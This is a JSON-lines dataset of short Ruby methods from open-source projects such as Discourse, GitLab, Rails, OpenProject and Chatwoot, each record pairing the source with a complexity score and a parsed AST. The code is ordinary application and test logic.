{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_creator.rb","start_line":488,"raw_source":"def create_topic\n    return if @topic\n    begin\n      opts = @opts[:topic_opts] ? @opts.merge(@opts[:topic_opts]) : @opts\n      topic_creator = TopicCreator.new(@user, guardian, opts)\n      @topic = topic_creator.create\n    rescue ActiveRecord::Rollback\n      rollback_from_errors!(topic_creator)\n    end\n    @post.topic_id = @topic.id\n    @post.topic = @topic\n    @post.wiki = true if @topic && @topic.category && @topic.category.all_topics_wiki\n  end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_topic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_opts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_opts\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_creator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicCreator\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_creator\"]},\"create\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]},null,{\"type\":\"send\",\"children\":[null,\"rollback_from_errors!\",{\"type\":\"lvar\",\"children\":[\"topic_creator\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"topic_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"topic=\",{\"type\":\"ivar\",\"children\":[\"@topic\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"category\"]},\"all_topics_wiki\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"wiki=\",{\"type\":\"true\",\"children\":[]}]},null]}]}]}","id":"ef3884cc-62e1-4bd4-b3ce-6f60fee20945"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/variables/builder/pipeline.rb","start_line":74,"raw_source":"def predefined_commit_tag_variables\n            Gitlab::Ci::Variables::Collection.new.tap do |variables|\n              git_tag = pipeline.project.repository.find_tag(pipeline.ref)\n\n              next variables unless git_tag\n\n              variables.append(key: 'CI_COMMIT_TAG', value: pipeline.ref)\n              variables.append(key: 'CI_COMMIT_TAG_MESSAGE', value: git_tag.message)\n            end\n          end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"predefined_commit_tag_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Variables\"]},\"Collection\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variables\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"git_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"project\"]},\"repository\"]},\"find_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"ref\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_tag\"]},null,{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_COMMIT_TAG\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"ref\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_COMMIT_TAG_MESSAGE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_tag\"]},\"message\"]}]}]}]}]}]}]}","id":"1119765f-b1a0-4f74-92b5-b5e1adc914c3"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/content.rb","start_line":33,"raw_source":"def fragment_by_canonicalizing_content(content)\n        fragment = ActionText::Attachment.fragment_by_canonicalizing_attachments(content)\n        fragment = ActionText::AttachmentGallery.fragment_by_canonicalizing_attachment_galleries(fragment)\n        fragment\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fragment_by_canonicalizing_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fragment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionText\"]},\"Attachment\"]},\"fragment_by_canonicalizing_attachments\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fragment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionText\"]},\"AttachmentGallery\"]},\"fragment_by_canonicalizing_attachment_galleries\",{\"type\":\"lvar\",\"children\":[\"fragment\"]}]}]},{\"type\":\"lvar\",\"children\":[\"fragment\"]}]}]}","id":"95e959ac-e3af-4503-a8e3-26646149dda3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_projects_without_project_feature.rb","start_line":57,"raw_source":"def pages_access_level\n        if ::Gitlab::Pages.access_control_is_forced?\n          \"10\"\n        else\n          \"GREATEST(projects.visibility_level, 10)\"\n        end\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pages_access_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Pages\"]},\"access_control_is_forced?\"]},{\"type\":\"str\",\"children\":[\"10\"]},{\"type\":\"str\",\"children\":[\"GREATEST(projects.visibility_level, 10)\"]}]}]}","id":"b6c7c024-53e2-4c8f-9b72-182494f1e60f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/documents/spec/features/documents/project/support/documents_index_page.rb","start_line":72,"raw_source":"def expect_pagination_range(from:, to:, total:)\n        pagination.expect_range(from, to, total)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_pagination_range\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"from\"]},{\"type\":\"kwarg\",\"children\":[\"to\"]},{\"type\":\"kwarg\",\"children\":[\"total\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagination\"]},\"expect_range\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"total\"]}]}]}","id":"7958f6c8-3c8d-4130-80c8-15270112ea75"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/facebook_api_client.rb","start_line":22,"raw_source":"def fetch_phone_numbers(waba_id)\n    response = HTTParty.get(\n      \"#{BASE_URI}/#{@api_version}/#{waba_id}/phone_numbers\",\n      query: { access_token: @access_token }\n    )\n\n    handle_response(response, 'WABA phone numbers fetch failed')\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_phone_numbers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"waba_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTParty\"]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BASE_URI\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_version\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"waba_id\"]}]},{\"type\":\"str\",\"children\":[\"/phone_numbers\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_token\"]},{\"type\":\"ivar\",\"children\":[\"@access_token\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"str\",\"children\":[\"WABA phone numbers fetch failed\"]}]}]}]}","id":"45acd439-9e64-441b-81a8-2a43c42f3fac"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/work_package_datepicker.rb","start_line":14,"raw_source":"def expect_banner_text(text, **)\n      expect(container).to have_css(\".wp-datepicker--banner\", text:, **)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_banner_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".wp-datepicker--banner\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]}]}]}","id":"b84ccc2a-8409-49ca-b6da-252b567425e0"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/telegram/update_message_service.rb","start_line":31,"raw_source":"def update_message\n    edited_message = params[:edited_message]\n\n    if edited_message[:text].present?\n      @message.update!(content: edited_message[:text])\n    elsif edited_message[:caption].present?\n      @message.update!(content: edited_message[:caption])\n    end\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"update_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"edited_message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"edited_message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edited_message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edited_message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edited_message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"caption\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edited_message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"caption\"]}]}]}]}]},null]}]}]}]}","id":"5a866729-0ff2-41e8-9e26-19b4a7c5e3cf"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/custom_actions_controller.rb","start_line":76,"raw_source":"def index_or_render(render_action)\n    ->(call) {\n      call.on_success do\n        redirect_to custom_actions_path, status: :see_other\n      end\n\n      call.on_failure do\n        @custom_action = call.result\n        render action: render_action, status: :unprocessable_entity\n      end\n    }\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"index_or_render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"render_action\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"custom_actions_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@custom_action\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"render_action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}]}","id":"c9f72b3e-79d1-4067-a219-131428fc3b31"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/hash_config_test.rb","start_line":42,"raw_source":"def test_max_age_overrides_with_value\n        config = HashConfig.new(\"default_env\", \"primary\", max_age: \"500\", adapter: \"abstract\")\n        assert_equal 500, config.max_age\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_max_age_overrides_with_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_age\"]},{\"type\":\"str\",\"children\":[\"500\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[500]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"max_age\"]}]}]}]}","id":"04d5a581-7d8e-48ee-a94f-999ce72713a9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb","start_line":206,"raw_source":"def deferrable\n          options[:deferrable]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deferrable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deferrable\"]}]}]}","id":"27d20002-8c01-43d9-af2e-0b804321887f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/fake_ansible_repo.rb","start_line":102,"raw_source":"def file_content(full_path)\n        if filepath_match?(full_path, \"**/requirements.{yml,yaml}\")\n          REQUIREMENTS\n        elsif filepath_match?(full_path, *VAR_FILE_FNMATCHES)\n          VAR_DATA\n        elsif filepath_match?(full_path, \"**/roles/*/meta/main.{yml,yaml}\")\n          META_DATA\n        elsif filepath_match?(full_path, \"**/*.{yml,yaml}\")\n          dummy_playbook_data_for(full_path.basename)\n        end\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"file_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filepath_match?\",{\"type\":\"lvar\",\"children\":[\"full_path\"]},{\"type\":\"str\",\"children\":[\"**/requirements.{yml,yaml}\"]}]},{\"type\":\"const\",\"children\":[null,\"REQUIREMENTS\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filepath_match?\",{\"type\":\"lvar\",\"children\":[\"full_path\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VAR_FILE_FNMATCHES\"]}]}]},{\"type\":\"const\",\"children\":[null,\"VAR_DATA\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filepath_match?\",{\"type\":\"lvar\",\"children\":[\"full_path\"]},{\"type\":\"str\",\"children\":[\"**/roles/*/meta/main.{yml,yaml}\"]}]},{\"type\":\"const\",\"children\":[null,\"META_DATA\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filepath_match?\",{\"type\":\"lvar\",\"children\":[\"full_path\"]},{\"type\":\"str\",\"children\":[\"**/*.{yml,yaml}\"]}]},{\"type\":\"send\",\"children\":[null,\"dummy_playbook_data_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]},\"basename\"]}]},null]}]}]}]}]}","id":"09d3a13d-02df-4300-aa4f-6c536e9806d0"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/access_control/permission.rb","start_line":128,"raw_source":"def require_loggedin?\n        @require && (@require == :member || @require == :loggedin)\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"require_loggedin?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@require\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@require\"]},\"==\",{\"type\":\"sym\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@require\"]},\"==\",{\"type\":\"sym\",\"children\":[\"loggedin\"]}]}]}]}]}]}","id":"45609cde-7d54-44b9-85a1-4e5b175577b7"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/jobs/spree/products/touch_taxons_job.rb","start_line":6,"raw_source":"def perform(taxon_ids, taxonomy_ids)\n        Spree::Taxon.where(id: taxon_ids).update_all(updated_at: Time.current)\n        Spree::Taxonomy.where(id: taxonomy_ids).update_all(updated_at: Time.current)\n        Spree::Taxons::TouchFeaturedSections.call(taxon_ids: taxon_ids)\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"taxon_ids\"]},{\"type\":\"arg\",\"children\":[\"taxonomy_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Taxon\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"taxon_ids\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Taxonomy\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"taxonomy_ids\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Taxons\"]},\"TouchFeaturedSections\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taxon_ids\"]},{\"type\":\"lvar\",\"children\":[\"taxon_ids\"]}]}]}]}]}]}","id":"01a7949e-a873-47db-9934-3b72d9272096"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/signing.rb","start_line":548,"raw_source":"def initialize(options = {})\n            @signing_algorithm = :sigv4 # Always use sigv4\n            @uri_escape_path = options[:uri_escape_path] || true\n            @unsigned_headers = options[:unsigned_headers] || Set.new\n            @service = options[:service]\n            @region = options[:region]\n\n            @signature_computation = SignatureComputation.new(@service, @region, @signing_algorithm)\n            @result_builder = SignatureResultBuilder.new(@signature_computation)\n          end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@signing_algorithm\",{\"type\":\"sym\",\"children\":[\"sigv4\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@uri_escape_path\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uri_escape_path\"]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@unsigned_headers\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unsigned_headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@service\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@region\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"region\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@signature_computation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SignatureComputation\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@service\"]},{\"type\":\"ivar\",\"children\":[\"@region\"]},{\"type\":\"ivar\",\"children\":[\"@signing_algorithm\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@result_builder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SignatureResultBuilder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@signature_computation\"]}]}]}]}]}","id":"413f4b89-763f-444f-a942-83518a9a4e96"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-rspec/lib/gitlab/rspec/next_found_instance_of.rb","start_line":46,"raw_source":"def check_if_active_record!(klass)\n    raise ArgumentError, ERROR_MESSAGE unless klass < ActiveRecord::Base\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_if_active_record!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"const\",\"children\":[null,\"ERROR_MESSAGE\"]}]}]}]}","id":"c724593d-fc66-4a27-9e9b-c0d7948668a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/organizations/organization_user.rb","start_line":67,"raw_source":"def last_owner?\n      return false unless owner?\n\n      # Try to keep the last active user as owner\n      return other_owners.with_active_users.empty? if user.active?\n\n      other_owners.empty?\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"last_owner?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"active?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_owners\"]},\"with_active_users\"]},\"empty?\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_owners\"]},\"empty?\"]}]}]}","id":"f64a6268-a9f5-40b2-b461-36269bb778bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/gitaly_setup.rb","start_line":103,"raw_source":"def build_gitaly\n    run_command(%w[make all WITH_BUNDLED_GIT=YesPlease], env: env.merge('GIT_VERSION' => nil))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_gitaly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"run_command\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"make\"]},{\"type\":\"str\",\"children\":[\"all\"]},{\"type\":\"str\",\"children\":[\"WITH_BUNDLED_GIT=YesPlease\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GIT_VERSION\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]}","id":"33532610-4b88-47af-b519-d71099827576"}
